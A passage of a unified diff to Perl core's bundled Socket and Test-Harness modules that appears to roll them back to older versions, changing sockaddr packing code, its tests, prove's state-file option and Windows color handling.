-                      ", should be %" UVuf,
+		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::unpack_sockaddr_un", (UV)sockaddrlen, (UV)sizeof(addr));
 	Copy(sun_ad, &addr, sizeof(addr), char);
 #   endif
@@ -934,8 +861,8 @@ unpack_sockaddr_un(sun_sv)
 #   else
 		const int maxlen = (int)sizeof(addr.sun_path);
 #   endif
-		while (addr_len < maxlen && addr.sun_path[addr_len])
-		     addr_len++;
+		for (addr_len = 0; addr_len < maxlen
+		     && addr.sun_path[addr_len]; addr_len++);
 	}
 
 	ST(0) = sv_2mortal(newSVpvn(addr.sun_path, addr_len));
@@ -945,20 +872,15 @@ unpack_sockaddr_un(sun_sv)
 	}
 
 void
-pack_sockaddr_in(port_sv, ip_address_sv)
-	SV *	port_sv
+pack_sockaddr_in(port, ip_address_sv)
+	unsigned short	port
 	SV *	ip_address_sv
 	CODE:
 	{
 	struct sockaddr_in sin;
 	struct in_addr addr;
 	STRLEN addrlen;
-	unsigned short port = 0;
 	char * ip_address;
-	if (SvOK(port_sv))
-		port = SvUV(port_sv);
-	if (!SvOK(ip_address_sv))
-		croak("Undefined address for %s", "Socket::pack_sockaddr_in");
 	if (DO_UTF8(ip_address_sv) && !sv_utf8_downgrade(ip_address_sv, 1))
 		croak("Wide character in %s", "Socket::pack_sockaddr_in");
 	ip_address = SvPVbyte(ip_address_sv, addrlen);
@@ -969,8 +891,7 @@ pack_sockaddr_in(port_sv, ip_address_sv)
 		    (unsigned int)(ip_address[2] & 0xFF) <<  8 |
 		    (unsigned int)(ip_address[3] & 0xFF);
 	else
-		croak("Bad arg length for %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::pack_sockaddr_in",
 		      (UV)addrlen, (UV)sizeof(addr));
 	Zero(&sin, sizeof(sin), char);
@@ -991,13 +912,9 @@ unpack_sockaddr_in(sin_sv)
 	STRLEN sockaddrlen;
 	struct sockaddr_in addr;
 	SV *ip_address_sv;
-	char * sin;
-	if (!SvOK(sin_sv))
-	    croak("Undefined address for %s", "Socket::unpack_sockaddr_in");
-	sin = SvPVbyte(sin_sv,sockaddrlen);
+	char *	sin = SvPVbyte(sin_sv,sockaddrlen);
 	if (sockaddrlen != sizeof(addr)) {
-	    croak("Bad arg length for %s, length is %" UVuf
-                  ", should be %" UVuf,
+	    croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
 		  "Socket::unpack_sockaddr_in", (UV)sockaddrlen, (UV)sizeof(addr));
 	}
 	Copy(sin, &addr, sizeof(addr), char);
@@ -1018,28 +935,22 @@ unpack_sockaddr_in(sin_sv)
 	}
 
 void
-pack_sockaddr_in6(port_sv, sin6_addr, scope_id=0, flowinfo=0)
-	SV *	port_sv
+pack_sockaddr_in6(port, sin6_addr, scope_id=0, flowinfo=0)
+	unsigned short	port
 	SV *	sin6_addr
 	unsigned long	scope_id
 	unsigned long	flowinfo
 	CODE:
 	{
 #ifdef HAS_SOCKADDR_IN6
-	unsigned short port = 0;
 	struct sockaddr_in6 sin6;
 	char * addrbytes;
 	STRLEN addrlen;
-	if (SvOK(port_sv))
-		port = SvUV(port_sv);
-	if (!SvOK(sin6_addr))
-		croak("Undefined address for %s", "Socket::pack_sockaddr_in6");
 	if (DO_UTF8(sin6_addr) && !sv_utf8_downgrade(sin6_addr, 1))
 		croak("Wide character in %s", "Socket::pack_sockaddr_in6");
 	addrbytes = SvPVbyte(sin6_addr, addrlen);
 	if (addrlen != sizeof(sin6.sin6_addr))
-		croak("Bad arg length %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::pack_sockaddr_in6", (UV)addrlen, (UV)sizeof(sin6.sin6_addr));
 	Zero(&sin6, sizeof(sin6), char);
 	sin6.sin6_family = AF_INET6;
@@ -1058,7 +969,7 @@ pack_sockaddr_in6(port_sv, sin6_addr, scope_id=0, flowinfo=0)
 #  endif
 	ST(0) = sv_2mortal(newSVpvn((char *)&sin6, sizeof(sin6)));
 #else
-	PERL_UNUSED_VAR(port_sv);
+	PERL_UNUSED_VAR(port);
 	PERL_UNUSED_VAR(sin6_addr);
 	ST(0) = (SV*)not_here("pack_sockaddr_in6");
 #endif
@@ -1072,14 +983,10 @@ unpack_sockaddr_in6(sin6_sv)
 #ifdef HAS_SOCKADDR_IN6
 	STRLEN addrlen;
 	struct sockaddr_in6 sin6;
-	char * addrbytes;
+	char * addrbytes = SvPVbyte(sin6_sv, addrlen);
 	SV *ip_address_sv;
-	if (!SvOK(sin6_sv))
-		croak("Undefined address for %s", "Socket::unpack_sockaddr_in6");
-	addrbytes = SvPVbyte(sin6_sv, addrlen);
 	if (addrlen != sizeof(sin6))
-		croak("Bad arg length for %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::unpack_sockaddr_in6", (UV)addrlen, (UV)sizeof(sin6));
 	Copy(addrbytes, &sin6, sizeof(sin6), char);
 	if (sin6.sin6_family != AF_INET6)
@@ -1132,13 +1039,13 @@ inet_ntop(af, ip_address_sv)
 	  case AF_INET:
 	    if(addrlen != 4)
 		croak("Bad address length for Socket::inet_ntop on AF_INET;"
-		      " got %" UVuf ", should be 4", (UV)addrlen);
+		      " got %"UVuf", should be 4", (UV)addrlen);
 	    break;
 #ifdef AF_INET6
 	  case AF_INET6:
 	    if(addrlen != 16)
 		croak("Bad address length for Socket::inet_ntop on AF_INET6;"
-		      " got %" UVuf ", should be 16", (UV)addrlen);
+		      " got %"UVuf", should be 16", (UV)addrlen);
 	    break;
 #endif
 	  default:
@@ -1226,8 +1133,7 @@ pack_ip_mreq(multiaddr, interface=&PL_sv_undef)
 		croak("Wide character in %s", "Socket::pack_ip_mreq");
 	multiaddrbytes = SvPVbyte(multiaddr, len);
 	if (len != sizeof(mreq.imr_multiaddr))
-		croak("Bad arg length %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_multiaddr));
 	Zero(&mreq, sizeof(mreq), char);
 	Copy(multiaddrbytes, &mreq.imr_multiaddr, sizeof(mreq.imr_multiaddr), char);
@@ -1236,8 +1142,7 @@ pack_ip_mreq(multiaddr, interface=&PL_sv_undef)
 			croak("Wide character in %s", "Socket::pack_ip_mreq");
 		interfacebytes = SvPVbyte(interface, len);
 		if (len != sizeof(mreq.imr_interface))
-			croak("Bad arg length %s, length is %" UVuf
-                              ", should be %" UVuf,
+			croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
 			      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_interface));
 		Copy(interfacebytes, &mreq.imr_interface, sizeof(mreq.imr_interface), char);
 	}
@@ -1259,8 +1164,7 @@ unpack_ip_mreq(mreq_sv)
 	STRLEN mreqlen;
 	char * mreqbytes = SvPVbyte(mreq_sv, mreqlen);
 	if (mreqlen != sizeof(mreq))
-		croak("Bad arg length for %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::unpack_ip_mreq", (UV)mreqlen, (UV)sizeof(mreq));
 	Copy(mreqbytes, &mreq, sizeof(mreq), char);
 	EXTEND(SP, 2);
@@ -1288,14 +1192,12 @@ pack_ip_mreq_source(multiaddr, source, interface=&PL_sv_undef)
 		croak("Wide character in %s", "Socket::pack_ip_mreq_source");
 	multiaddrbytes = SvPVbyte(multiaddr, len);
 	if (len != sizeof(mreq.imr_multiaddr))
-		croak("Bad arg length %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_multiaddr));
 	if (DO_UTF8(source) && !sv_utf8_downgrade(source, 1))
 		croak("Wide character in %s", "Socket::pack_ip_mreq_source");
 	if (len != sizeof(mreq.imr_sourceaddr))
-		croak("Bad arg length %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_sourceaddr));
 	sourcebytes = SvPVbyte(source, len);
 	Zero(&mreq, sizeof(mreq), char);
@@ -1306,8 +1208,7 @@ pack_ip_mreq_source(multiaddr, source, interface=&PL_sv_undef)
 			croak("Wide character in %s", "Socket::pack_ip_mreq");
 		interfacebytes = SvPVbyte(interface, len);
 		if (len != sizeof(mreq.imr_interface))
-			croak("Bad arg length %s, length is %" UVuf
-                              ", should be %" UVuf,
+			croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
 			      "Socket::pack_ip_mreq", (UV)len, (UV)sizeof(mreq.imr_interface));
 		Copy(interfacebytes, &mreq.imr_interface, sizeof(mreq.imr_interface), char);
 	}
@@ -1331,8 +1232,7 @@ unpack_ip_mreq_source(mreq_sv)
 	STRLEN mreqlen;
 	char * mreqbytes = SvPVbyte(mreq_sv, mreqlen);
 	if (mreqlen != sizeof(mreq))
-		croak("Bad arg length for %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::unpack_ip_mreq_source", (UV)mreqlen, (UV)sizeof(mreq));
 	Copy(mreqbytes, &mreq, sizeof(mreq), char);
 	EXTEND(SP, 3);
@@ -1359,8 +1259,7 @@ pack_ipv6_mreq(multiaddr, ifindex)
 		croak("Wide character in %s", "Socket::pack_ipv6_mreq");
 	multiaddrbytes = SvPVbyte(multiaddr, len);
 	if (len != sizeof(mreq.ipv6mr_multiaddr))
-		croak("Bad arg length %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::pack_ipv6_mreq", (UV)len, (UV)sizeof(mreq.ipv6mr_multiaddr));
 	Zero(&mreq, sizeof(mreq), char);
 	Copy(multiaddrbytes, &mreq.ipv6mr_multiaddr, sizeof(mreq.ipv6mr_multiaddr), char);
@@ -1383,8 +1282,7 @@ unpack_ipv6_mreq(mreq_sv)
 	STRLEN mreqlen;
 	char * mreqbytes = SvPVbyte(mreq_sv, mreqlen);
 	if (mreqlen != sizeof(mreq))
-		croak("Bad arg length for %s, length is %" UVuf
-                      ", should be %" UVuf,
+		croak("Bad arg length for %s, length is %"UVuf", should be %"UVuf,
 		      "Socket::unpack_ipv6_mreq", (UV)mreqlen, (UV)sizeof(mreq));
 	Copy(mreqbytes, &mreq, sizeof(mreq), char);
 	EXTEND(SP, 2);
diff --git a/cpan/Socket/t/getaddrinfo.t b/cpan/Socket/t/getaddrinfo.t
index b33a3e7c6ea5..6f8a324dfbc2 100644
--- a/cpan/Socket/t/getaddrinfo.t
+++ b/cpan/Socket/t/getaddrinfo.t
@@ -22,8 +22,8 @@ ok( defined $res[0]->{addr},
     '$res[0] addr is defined' );
 if (length $res[0]->{addr}) {
     is_deeply( [ unpack_sockaddr_in $res[0]->{addr} ],
-               [ 80, inet_aton( "127.0.0.1" ) ],
-               '$res[0] addr is {"127.0.0.1", 80}' );
+	       [ 80, inet_aton( "127.0.0.1" ) ],
+	       '$res[0] addr is {"127.0.0.1", 80}' );
 } else {
     fail( '$res[0] addr is empty: check $socksizetype' );
 }
@@ -50,8 +50,8 @@ cmp_ok( $err, "==", 0, '$err == 0 for host=127.0.0.1/service=undef' );
     cmp_ok( $err, "==", 0, '$err == 0 for host=$1' );
     ok( scalar @res > 0, '@res has results' );
     is( (unpack_sockaddr_in $res[0]->{addr})[1],
-        inet_aton( "127.0.0.1" ),
-        '$res[0] addr is {"127.0.0.1", ??}' );
+	inet_aton( "127.0.0.1" ),
+	'$res[0] addr is {"127.0.0.1", ??}' );
 }
 
 ( $err, @res ) = getaddrinfo( "", "80", { family => AF_INET, socktype => SOCK_STREAM, protocol => IPPROTO_TCP } );
@@ -90,13 +90,13 @@ SKIP: {
     # Some OSes return $err == 0 but no results
     ( $err, @res ) = getaddrinfo( $missinghost, "ftp", { socktype => SOCK_STREAM } );
     ok( $err != 0 || ( $err == 0 && @res == 0 ),
-        '$err != 0 or @res == 0 for host=TbK4jM2M0OS.lm57DWIyu4i/service=ftp/socktype=SOCK_STREAM' );
+	'$err != 0 or @res == 0 for host=TbK4jM2M0OS.lm57DWIyu4i/service=ftp/socktype=SOCK_STREAM' );
     if( @res ) {
-        # Diagnostic that might help
-        while( my $r = shift @res ) {
-            diag( "family=$r->{family} socktype=$r->{socktype} protocol=$r->{protocol} addr=[" . length( $r->{addr} ) . " bytes]" );
-            diag( "  addr=" . join( ", ", map { sprintf '0x%02x', ord $_ } split m//, $r->{addr} ) );
-        }
+	# Diagnostic that might help
+	while( my $r = shift @res ) {
+	    diag( "family=$r->{family} socktype=$r->{socktype} protocol=$r->{protocol} addr=[" . length( $r->{addr} ) . " bytes]" );
+	    diag( "  addr=" . join( ", ", map { sprintf '0x%02x', ord $_ } split m//, $r->{addr} ) );
+	}
     }
 }
 
@@ -112,11 +112,11 @@ AI_NUMERICHOST: {
     # for enabled services but that's kind of yuck, too.
     my @port = (80, 7, 22, 25, 88, 123, 110, 389, 443, 445, 873, 2049, 3306);
     foreach my $port ( @port ) {
-        ( $err, @res ) = getaddrinfo( "127.0.0.1", $port, { flags => AI_NUMERICHOST, socktype => SOCK_STREAM } );
-        if( $err == 0 ) {
-            ok( $err == 0, "\$err == 0 for 127.0.0.1/$port/flags=AI_NUMERICHOST" );
-            last AI_NUMERICHOST;
-        }
+	( $err, @res ) = getaddrinfo( "127.0.0.1", $port, { flags => AI_NUMERICHOST, socktype => SOCK_STREAM } );
+	if( $err == 0 ) {
+	    ok( $err == 0, "\$err == 0 for 127.0.0.1/$port/flags=AI_NUMERICHOST" );
+	    last AI_NUMERICHOST;
+	}
     }
     fail( "$err for 127.0.0.1/$port[-1]/flags=AI_NUMERICHOST (failed for ports @port)" );
 }
diff --git a/cpan/Socket/t/sockaddr.t b/cpan/Socket/t/sockaddr.t
index 9f17afb98fcd..1ae24a0bbac8 100644
--- a/cpan/Socket/t/sockaddr.t
+++ b/cpan/Socket/t/sockaddr.t
@@ -7,11 +7,10 @@ use Socket qw(
     AF_INET
     inet_ntoa inet_aton inet_ntop inet_pton
     pack_sockaddr_in unpack_sockaddr_in sockaddr_in
-    pack_sockaddr_un unpack_sockaddr_un
     sockaddr_family
     sockaddr_un
 );
-use Test::More tests => 46;
+use Test::More tests => 33;
 
 # inet_aton, inet_ntoa
 {
@@ -81,25 +80,13 @@ SKIP: {
 
     is(sockaddr_family(scalar sockaddr_in(200,v10.30.50.70)), AF_INET,
         'sockaddr_in in scalar context packs');
-
-    my $warnings = 0;
-    local $SIG{__WARN__} = sub { $warnings++ };
-    ok( !eval { pack_sockaddr_in 0, undef; 1 },
-        'pack_sockaddr_in undef addr is fatal' );
-    ok( !eval { unpack_sockaddr_in undef; 1 },
-        'unpack_sockaddr_in undef is fatal' );
-
-    ok( eval { pack_sockaddr_in undef, "\0\0\0\0"; 1 },
-        'pack_sockaddr_in undef port is allowed' );
-
-    is( $warnings, 0, 'undefined values produced no warnings' );
 }
 
 # pack_sockaddr_in6, unpack_sockaddr_in6
 # sockaddr_in6
 SKIP: {
-    skip "No AF_INET6", 13 unless my $AF_INET6 = eval { Socket::AF_INET6() };
-    skip "Cannot pack_sockaddr_in6()", 13 unless my $sin6 = eval { Socket::pack_sockaddr_in6(0x1234, "0123456789abcdef", 0, 89) };
+    skip "No AF_INET6", 9 unless my $AF_INET6 = eval { Socket::AF_INET6() };
+    skip "Cannot pack_sockaddr_in6()", 9 unless my $sin6 = eval { Socket::pack_sockaddr_in6(0x1234, "0123456789abcdef", 0, 89) };
 
     ok(defined $sin6, 'pack_sockaddr_in6 defined');
 
@@ -117,24 +104,12 @@ SKIP: {
 
     is(sockaddr_family(scalar Socket::sockaddr_in6(0x1357, "02468ace13579bdf")), $AF_INET6,
         'sockaddr_in6 in scalar context packs' );
-
-    my $warnings = 0;
-    local $SIG{__WARN__} = sub { $warnings++ };
-    ok( !eval { Socket::pack_sockaddr_in6( 0, undef ); 1 },
-        'pack_sockaddr_in6 undef addr is fatal' );
-    ok( !eval { Socket::unpack_sockaddr_in6( undef ); 1 },
-        'unpack_sockaddr_in6 undef is fatal' );
-
-    ok( eval { Socket::pack_sockaddr_in6( undef, "\0"x16 ); 1 },
-        'pack_sockaddr_in6 undef port is allowed' );
-
-    is( $warnings, 0, 'undefined values produced no warnings' );
 }
 
-# sockaddr_un on abstract paths
+# sockaddr_un
 SKIP: {
     # see if we can handle abstract sockets
-    skip "Abstract AF_UNIX paths unsupported", 7 unless $^O eq "linux";
+    skip "Abstract AF_UNIX paths unsupported", 2 unless $^O eq "linux";
 
     my $test_abstract_socket = chr(0) . '/org/perl/hello'. chr(0) . 'world';
     my $addr = sockaddr_un ($test_abstract_socket);
@@ -143,19 +118,6 @@ SKIP: {
 
     # see if we calculate the address structure length correctly
     is(length ($test_abstract_socket) + 2, length $addr, 'sockaddr_un abstract address length');
-
-    my $warnings = 0;
-    local $SIG{__WARN__} = sub { $warnings++ };
-    ok( !eval { pack_sockaddr_un( undef ); 1 },
-        'pack_sockaddr_un undef path is fatal' );
-    ok( !eval { unpack_sockaddr_un( undef ); 1 },
-        'unpack_sockaddr_un undef is fatal' );
-
-    is( $warnings, 0, 'undefined values produced no warnings' );
-
-    ok( eval { pack_sockaddr_un( "x" x 0x10000 ); 1 },
-        'pack_sockaddr_un(very long path) succeeds' ) or diag( "Died: $@" );
-    is( $warnings, 1, 'pack_sockaddr_in(very long path) warns' );
 }
 
 # warnings
diff --git a/cpan/Socket/t/socketpair.t b/cpan/Socket/t/socketpair.t
index cb11e26e55e3..823306eb66c8 100644
--- a/cpan/Socket/t/socketpair.t
+++ b/cpan/Socket/t/socketpair.t
@@ -83,7 +83,7 @@ $SIG{ALRM} = sub {die "Unexpected alarm during testing"};
 
 ok (socketpair (LEFT, RIGHT, AF_UNIX, SOCK_STREAM, PF_UNSPEC),
     "socketpair (LEFT, RIGHT, AF_UNIX, SOCK_STREAM, PF_UNSPEC)")
-    or print STDERR "# \$\! = $!\n";
+    or print "# \$\! = $!\n";
 
 if ($has_perlio) {
     binmode(LEFT,  ":bytes");
@@ -148,7 +148,7 @@ $SIG{PIPE} = 'IGNORE';
     # should help
     $! = $err;
     ok (($!{EPIPE} or $!{ESHUTDOWN}), '$! should be EPIPE or ESHUTDOWN')
-	or printf STDERR "# \$\! = %d (%s)\n", $err, $err;
+	or printf "\$\!=%d(%s)\n", $err, $err;
 }
 
 my @gripping = (chr 255, chr 127);
@@ -178,7 +178,7 @@ SKIP: {
 
     ok (socketpair (LEFT, RIGHT, AF_UNIX, SOCK_DGRAM, PF_UNSPEC),
 	"socketpair (LEFT, RIGHT, AF_UNIX, SOCK_DGRAM, PF_UNSPEC)")
-	or print STDERR "# \$\! = $!\n";
+	or print "# \$\! = $!\n";
 
     if ($has_perlio) {
 	binmode(LEFT,  ":bytes");
diff --git a/cpan/Test-Harness/bin/prove b/cpan/Test-Harness/bin/prove
index 3d41db06bd02..d71b2387d93b 100644
--- a/cpan/Test-Harness/bin/prove
+++ b/cpan/Test-Harness/bin/prove
@@ -72,7 +72,6 @@ Options that take arguments:
  -a,  --archive out.tgz Store the resulting TAP in an archive file.
  -j,  --jobs N          Run N test jobs in parallel (try 9.)
       --state=opts      Control prove's persistent state.
-      --statefile=file  Use `file` instead of `.prove` for state
       --rc=rcfile       Process options from rcfile
       --rules           Rules for parallel vs sequential processing.
 
@@ -110,12 +109,12 @@ matching the pattern C.
 
 =head2 Colored Test Output
 
-Colored test output using L is the default, but
-if output is not to a terminal, color is disabled. You can override this by
+Colored test output using L is the default, but 
+if output is not to a terminal, color is disabled. You can override this by 
 adding the C<--color> switch.
 
-Color support requires L and, on windows platforms, also
-L. If the necessary module(s) are not installed
+Color support requires L on Unix-like platforms and
+L on windows. If the necessary module is not installed
 colored output will not be available.
 
 =head2 Exit Code
diff --git a/cpan/Test-Harness/lib/App/Prove.pm b/cpan/Test-Harness/lib/App/Prove.pm
index 9298726d24ff..e7c0561f7b8c 100644
--- a/cpan/Test-Harness/lib/App/Prove.pm
+++ b/cpan/Test-Harness/lib/App/Prove.pm
@@ -18,11 +18,11 @@ App::Prove - Implements the C command.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
@@ -59,7 +59,6 @@ BEGIN {
       verbose warnings_fail warnings_warn show_help show_man show_version
       state_class test_args state dry extensions ignore_exit rules state_manager
       normalize sources tapversion trap
-      statefile
     );
     __PACKAGE__->mk_methods(@ATTR);
 }
@@ -230,7 +229,6 @@ sub process_args {
             'M=s@'         => $self->{modules},
             'P=s@'         => $self->{plugins},
             'state=s@'     => $self->{state},
-            'statefile=s'  => \$self->{statefile},
             'directives'   => \$self->{directives},
             'h|help|?'     => \$self->{show_help},
             'H|man'        => \$self->{show_man},
@@ -281,7 +279,7 @@ sub _help {
 sub _color_default {
     my $self = shift;
 
-    return -t STDOUT && !$ENV{HARNESS_NOTTY};
+    return -t STDOUT && !$ENV{HARNESS_NOTTY} && !IS_WIN32;
 }
 
 sub _get_args {
@@ -481,7 +479,7 @@ sub run {
 
     unless ( $self->state_manager ) {
         $self->state_manager(
-            $self->state_class->new( { store => $self->statefile || STATE_FILE } ) );
+            $self->state_class->new( { store => STATE_FILE } ) );
     }
 
     if ( $self->show_help ) {
diff --git a/cpan/Test-Harness/lib/App/Prove/State.pm b/cpan/Test-Harness/lib/App/Prove/State.pm
index 0b61a8245907..924e8979fe49 100644
--- a/cpan/Test-Harness/lib/App/Prove/State.pm
+++ b/cpan/Test-Harness/lib/App/Prove/State.pm
@@ -25,11 +25,11 @@ App::Prove::State - State storage for the C command.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/App/Prove/State/Result.pm b/cpan/Test-Harness/lib/App/Prove/State/Result.pm
index 8f89c775aff3..cc47111d7a89 100644
--- a/cpan/Test-Harness/lib/App/Prove/State/Result.pm
+++ b/cpan/Test-Harness/lib/App/Prove/State/Result.pm
@@ -14,11 +14,11 @@ App::Prove::State::Result - Individual test suite results.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm b/cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm
index b795280f307a..fa2dc2e630ea 100644
--- a/cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm
+++ b/cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm
@@ -9,11 +9,11 @@ App::Prove::State::Result::Test - Individual test results.
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Base.pm b/cpan/Test-Harness/lib/TAP/Base.pm
index 78e07ab0547d..74b6a6b2b911 100644
--- a/cpan/Test-Harness/lib/TAP/Base.pm
+++ b/cpan/Test-Harness/lib/TAP/Base.pm
@@ -12,11 +12,11 @@ and L
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 use constant GOT_TIME_HIRES => do {
     eval 'use Time::HiRes qw(time);';
diff --git a/cpan/Test-Harness/lib/TAP/Formatter/Base.pm b/cpan/Test-Harness/lib/TAP/Formatter/Base.pm
index bf65e12ca157..d2d352164571 100644
--- a/cpan/Test-Harness/lib/TAP/Formatter/Base.pm
+++ b/cpan/Test-Harness/lib/TAP/Formatter/Base.pm
@@ -58,11 +58,11 @@ TAP::Formatter::Base - Base class for harness output delegates
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Formatter/Color.pm b/cpan/Test-Harness/lib/TAP/Formatter/Color.pm
index 79807901012c..fecc40a2840d 100644
--- a/cpan/Test-Harness/lib/TAP/Formatter/Color.pm
+++ b/cpan/Test-Harness/lib/TAP/Formatter/Color.pm
@@ -12,24 +12,56 @@ my $NO_COLOR;
 BEGIN {
     $NO_COLOR = 0;
 
-    eval 'require Term::ANSIColor';
-    if ($@) {
-        $NO_COLOR = $@;
-    };
     if (IS_WIN32) {
-        eval 'use Win32::Console::ANSI';
+        eval 'use Win32::Console';
         if ($@) {
             $NO_COLOR = $@;
         }
-    };
+        else {
+            my $console = Win32::Console->new( STD_OUTPUT_HANDLE() );
+
+            # eval here because we might not know about these variables
+            my $fg = eval '$FG_LIGHTGRAY';
+            my $bg = eval '$BG_BLACK';
+
+            *set_color = sub {
+                my ( $self, $output, $color ) = @_;
+
+                my $var;
+                if ( $color eq 'reset' ) {
+                    $fg = eval '$FG_LIGHTGRAY';
+                    $bg = eval '$BG_BLACK';
+                }
+                elsif ( $color =~ /^on_(.+)$/ ) {
+                    $bg = eval '$BG_' . uc($1);
+                }
+                else {
+                    $fg = eval '$FG_' . uc($color);
+                }
+
+                # In case of colors that aren't defined
+                $self->set_color('reset')
+                  unless defined $bg && defined $fg;
+
+                $console->Attr( $bg | $fg );
+            };
+        }
+    }
+    else {
+        eval 'use Term::ANSIColor';
+        if ($@) {
+            $NO_COLOR = $@;
+        }
+        else {
+            *set_color = sub {
+                my ( $self, $output, $color ) = @_;
+                $output->( color($color) );
+            };
+        }
+    }
 
     if ($NO_COLOR) {
         *set_color = sub { };
-    } else {
-        *set_color = sub {
-            my ( $self, $output, $color ) = @_;
-            $output->( Term::ANSIColor::color($color) );
-        };
     }
 }
 
@@ -39,11 +71,11 @@ TAP::Formatter::Color - Run Perl test scripts with color
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
@@ -55,7 +87,7 @@ in color.  Passing tests are printed in green.  Failing tests are in red.
 Skipped tests are blue on a white background and TODO tests are printed in
 white.
 
-If L cannot be found (and L if running
+If L cannot be found (or L if running
 under Windows) tests will be run without color.
 
 =head1 SYNOPSIS
diff --git a/cpan/Test-Harness/lib/TAP/Formatter/Console.pm b/cpan/Test-Harness/lib/TAP/Formatter/Console.pm
index 1c82ef43c6cd..bafc14401c95 100644
--- a/cpan/Test-Harness/lib/TAP/Formatter/Console.pm
+++ b/cpan/Test-Harness/lib/TAP/Formatter/Console.pm
@@ -11,11 +11,11 @@ TAP::Formatter::Console - Harness output delegate for default console output
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm b/cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm
index 6826b4e379f0..8b47f49fb728 100644
--- a/cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm
+++ b/cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm
@@ -41,11 +41,11 @@ TAP::Formatter::Console::ParallelSession - Harness output delegate for parallel
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm b/cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm
index 492bdd7b081c..f1b0bbcfaf24 100644
--- a/cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm
+++ b/cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm
@@ -26,11 +26,11 @@ TAP::Formatter::Console::Session - Harness output delegate for default console o
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Formatter/File.pm b/cpan/Test-Harness/lib/TAP/Formatter/File.pm
index ced7b3f85eab..02b64da1b43f 100644
--- a/cpan/Test-Harness/lib/TAP/Formatter/File.pm
+++ b/cpan/Test-Harness/lib/TAP/Formatter/File.pm
@@ -13,11 +13,11 @@ TAP::Formatter::File - Harness output delegate for file output
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm b/cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm
index 3403540e40b7..c4851f6a828a 100644
--- a/cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm
+++ b/cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm
@@ -10,11 +10,11 @@ TAP::Formatter::File::Session - Harness output delegate for file output
 
 =head1 VERSION
 
-Version 3.42
+Version 3.38
 
 =cut
 
-our $VERSION = '3.42';
+our $VERSION = '3.38';
 
 =head1 DESCRIPTION
 
diff --git a/cpan/Test-Harness/lib/TAP/Formatter/Session.pm b/cpan/Test-Harness/lib/TAP/Formatter/Session.pm
